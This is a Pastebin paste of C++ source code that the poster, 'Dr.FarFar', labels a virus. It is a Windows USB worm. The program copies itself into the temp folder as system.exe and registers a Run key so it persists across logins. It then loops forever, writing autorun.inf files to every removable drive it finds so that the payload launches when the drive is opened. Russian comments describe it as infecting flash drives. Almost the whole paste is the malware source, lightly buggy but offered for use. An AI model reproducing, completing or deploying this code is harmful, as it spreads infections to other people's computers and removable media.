Dr_FarFar

[+] Virus AutoRun.inf Priv8 [ Source Code ] | By Dr.FarFar

Mar 3rd, 2014
358
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 7.73 KB | None | 0 0
  1. /***
  2.      ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄     ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄
  3.     ▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  4.     ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌   ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌
  5.     ▐░▌       ▐░▌▐░▌       ▐░▌   ▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  6.     ▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌   ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌
  7.     ▐░▌       ▐░▌▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  8.     ▐░▌       ▐░▌▐░█▀▀▀▀█░█▀▀    ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀
  9.     ▐░▌       ▐░▌▐░▌     ▐░▌     ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  
  10.     ▐░█▄▄▄▄▄▄▄█░▌▐░▌      ▐░▌  ▄ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌
  11.     ▐░░░░░░░░░░▌ ▐░▌       ▐░▌▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  12.      ▀▀▀▀▀▀▀▀▀▀   ▀         ▀  ▀  ▀            ▀         ▀  ▀         ▀  ▀            ▀         ▀  ▀         ▀
  13.  
  14.                          
  15.                                              
  16. ~~~ :xD: Have Fun. Don't Forget To Bookmark This Website :xD:
  17. ~~~ https://www.FaceBook.com/Dr.FarFar
  18. ~~~ http://Dr-FarFar.BlogSpot.com/
  19.  
  20. */
  21.  
  22. ###################################################################################################
  23.  
  24.  #include <fstream>
  25.  #include "StdAfx.h"
  26.  #include <io.h>
  27.  #include <windows.h>
  28.  #include <stdio.h>
  29.  //#define MAX_LOADSTRING 100
  30.  
  31.  bool IsFileExist(LPCTSTR strFileName)
  32.  {
  33.     HANDLE hFile = ::CreateFile(strFileName,
  34.                          GENERIC_READ,
  35.                          FILE_SHARE_READ,
  36.                          NULL,  
  37.                          OPEN_EXISTING,
  38.                          FILE_ATTRIBUTE_NORMAL,
  39.                          NULL);
  40.     return (hFile != INVALID_HANDLE_VALUE);
  41.  }
  42.  
  43.  BOOL AddMyProgramToAutostart(TCHAR* szPath)  
  44.  {  
  45.  HKEY hKey = NULL;   
  46.  RegOpenKey(HKEY_CURRENT_USER,TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hKey);  
  47.  if(!hKey)  
  48.  return(FALSE);  
  49.  RegSetValueEx(hKey,TEXT("Irbis"),0,REG_SZ,(PBYTE)szPath,lstrlen(szPath)*sizeof(TCHAR));  
  50.  RegCloseKey(hKey);  
  51.  return(TRUE);  
  52.  }  
  53.  
  54.  void  AvtoRun(LPCTSTR name)
  55.  {
  56.  
  57.  //_tcscat((wchar_t *)name,L"AutoRun.inf");
  58.  
  59.  FILE *file=fopen ((PCHAR)(LPCTSTR)name,"w");
  60.  
  61.   MessageBox(0,(LPCTSTR)name,0,0);
  62.  
  63.  if (file)
  64.  {
  65.  
  66.  fprintf(file, "[autorun]\nOpen=Dr-FarFar.exe\n");
  67.      fprintf(file, "icon=%%SystemRoot%%\\system32\\SHELL32.dll,4\n");
  68.     fprintf(file, "action=Open Folder To View Files\n");
  69.      fprintf(file, "shell\\open=Open\n");
  70.      fprintf(file, "shell\\open\\command=Dr-FarFar.exe\n");
  71.     fprintf(file, "shell\\open\\default=1\n");
  72.  fclose(file);
  73.  }
  74.  else
  75.  {
  76.   MessageBox(0,0,0,0);
  77.  }
  78.  }
  79.  //Заражение флешек
  80.  PCHAR find_usbflash ()
  81.  {
  82.   TCHAR*  FIleR[5];
  83.   TCHAR  buf[100];
  84.    
  85.   int  i;
  86.     int Ser = rand() % 5 ;
  87.    
  88.  PCHAR    drive;  
  89.  
  90.     TCHAR buffer[MAX_PATH];
  91.     DWORD len = GetLogicalDriveStrings(sizeof(buf)/sizeof(TCHAR),buf);
  92.  for(TCHAR* s=buf; *s; s+=_tcslen(s)+1)
  93.     {
  94.       LPCTSTR sDrivePath = s;
  95.    
  96.        UINT uDriveType = GetDriveType(sDrivePath);
  97.        if (uDriveType == DRIVE_REMOVABLE)
  98.     {
  99.     
  100.     
  101.  AvtoRun(((LPCTSTR)s));
  102.  
  103.    
  104.  }
  105.           return 0;
  106.        }
  107.     }
  108.  }
  109.  
  110.  //*******************
  111.  
  112.  //Создание мьютекса
  113.  bool MyMytex()
  114.  {
  115.   HANDLE hMutex;
  116.   hMutex = CreateMutex(NULL,TRUE,_T("/1/"));
  117.  if (GetLastError() == ERROR_ALREADY_EXISTS)  
  118.   {
  119.    return true;
  120.   }
  121.   else
  122.   {
  123.   return false;
  124.   }
  125.  }
  126.  //*************
  127.  //Процедура установки программы
  128.  BOOL Setap()
  129.  {
  130.  TCHAR buffer[MAX_PATH];
  131.   TCHAR temp[MAX_PATH];
  132.  
  133.    STARTUPINFO si;
  134.    memset(&si, 0, sizeof(si));
  135.    si.cb = sizeof(si);
  136.    PROCESS_INFORMATION pi;
  137.    memset(&pi, 0, sizeof(pi));
  138.  
  139.     
  140.  
  141.  GetModuleFileName(NULL,buffer,sizeof(buffer));
  142.  GetTempPath(MAX_PATH,temp);
  143.  _tcscat(temp,_T("system.exe"));
  144.  
  145.  if(IsFileExist(temp))
  146.  {
  147.   AddMyProgramToAutostart(temp);
  148.  
  149.  }
  150.  else
  151.  {
  152.   CopyFile(buffer,temp,false);
  153.   CreateProcess(NULL, temp, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
  154.   AddMyProgramToAutostart(temp);
  155.   ExitProcess(0);
  156.  }
  157.  
  158.  return 0;
  159.  }
  160.  //**********
  161.  
  162.  int FindKey()
  163.  {
  164.   int kodkey;
  165.   short key=GetKeyState(kodkey);
  166.   switch(key)
  167.   {
  168.   case VK_LCONTROL:MessageBox(0,0,0,0);
  169.    
  170.   }
  171.   return key;
  172.  }
  173.  
  174.  //Маин класс
  175.  int APIENTRY _tWinMain(HINSTANCE hInstance,
  176.                       HINSTANCE hPrevInstance,
  177.                       LPTSTR    lpCmdLine,
  178.                       int       nCmdShow)
  179.  {
  180.  
  181.   if(MyMytex()==true)
  182.   {
  183.    ExitProcess(0);
  184.   }
  185.    
  186.  
  187.  Setap();
  188.  
  189.  while(true)
  190.  {
  191.   Sleep(5000);
  192.  
  193.  find_usbflash();
  194.  }
  195.   return 0;
  196.  }
  197.  //**********
  198.  
  199.  
  200. ###################################################################################################
  201.  
  202.         https://www.FaceBook.com/Dr.FarFar
  203.         http://Dr-FarFar.BlogSpot.com/
  204.  
  205.         ________         __________                __________                
  206.         ___  __ \___________  ____/______ ____________  ____/______ _________
  207.         __  / / /__  ___/__  /_    _  __ `/__  ___/__  /_    _  __ `/__  ___/
  208.         _  /_/ / _  /___ _  __/    / /_/ / _  /    _  __/    / /_/ / _  /    
  209.         /_____/  /_/ _(_)/_/       \__,_/  /_/     /_/       \__,_/  /_/    
  210.                                                                              
  211.                              ~\ Dr.FarFar /~
Advertisement
Add Comment
Please, Sign In to add comment